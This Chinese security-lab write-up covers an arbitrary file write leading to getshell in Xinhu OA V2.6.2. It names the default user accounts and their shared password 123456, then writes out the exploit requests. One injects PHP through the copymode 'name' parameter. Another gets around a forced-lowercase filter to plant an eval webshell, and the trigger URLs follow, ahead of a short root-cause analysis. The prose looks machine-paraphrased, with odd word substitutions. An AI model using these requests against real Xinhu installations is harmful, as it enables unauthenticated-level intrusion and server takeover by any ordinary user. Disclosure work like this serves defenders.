信呼OA是一款开源的OA系统，面向社会免费供应学习研究利用，采取PHP措辞编写，搭建大略方便，在中小企业中具有较大的客户利用量。从公开的资产管理平台中匹配到目前互联中有超过1W+的客户利用案例。
信呼OA目前最新的版本是V2.6.2，发布韶光是2023-12-22。作者整体上保持了较高的系统更频率，对历史爆出的安全问题也及时进行修复。目前网上能找到的信呼OA getshell的办法大多数是老版本或者是须要admin权限的，没有针对新版本进行getshell的思路。
0x02 步骤
本地搭建当前最新版的信呼OA系统V2.6.2，如下图所示。
利用普通OA用户上岸，信呼OA安装之后默认存在账号diaochan/xiaoqiao/daqiao/rock/zhangfei/zhaozl等用户，密码都是123456。这里利用普通用户xiaoqiao上岸，然后布局下面的要求。
http://xinhu.test.com:8890/index.php?d=main&m=flow&a=copymode&ajaxbool=truePOST:id=1&name=a{};phpinfo ();class a
天生的文件访问如下（以下两种办法均可）：
http://xinhu.test.com:8890/webmain/flow/input/mode_a%7B%7D%3Bphpinfo%20%28%29%3Bclass%20aAction.php
http://xinhu.test.com:8890/webmain/model/flow/2%7B%7D%3Bphpinfo%20%28%29%3Bclass%20aModel.php
由于通报的参数值会被全部转化为小写字母（下一步的漏洞剖析中会提到），导致我们不能在webshell中利用大写字母，以是并不能直接写一句话webshell。绕过办法是可以通过下面的办法来转化一下一句话木马。
http://xinhu.test.com:8890/index.php?d=main&m=flow&a=copymode&ajaxbool=truePOST:id=1&name=a{};eval (strtoupper("eval (\$_request[1]);"));class a
运行之后访问下面的链接，由于链接中涉及到多个分外字符，如果不清楚该当如何转义的请复制下面的链接。
http://xinhu.test.com:8890/webmain/flow/input/mode_a%7b%7d;eval%20(strtoupper(%22eval%20(%5c$_request%5b1%5d);%22));class%20aAction.php?1=echo%20md5(1);
0x03 剖析
在webmain/main/flow/flowAction.php文件中，个中copymodeAjax吸收外部用户传入的参数，如下图所示。
连续跟踪createtxt方法，如下所示，仅仅只是进行了文件写入操作，并没有进行过滤，导致任意文件写入漏洞。
本文来源于烽火台实验室 Beacon Tower Lab
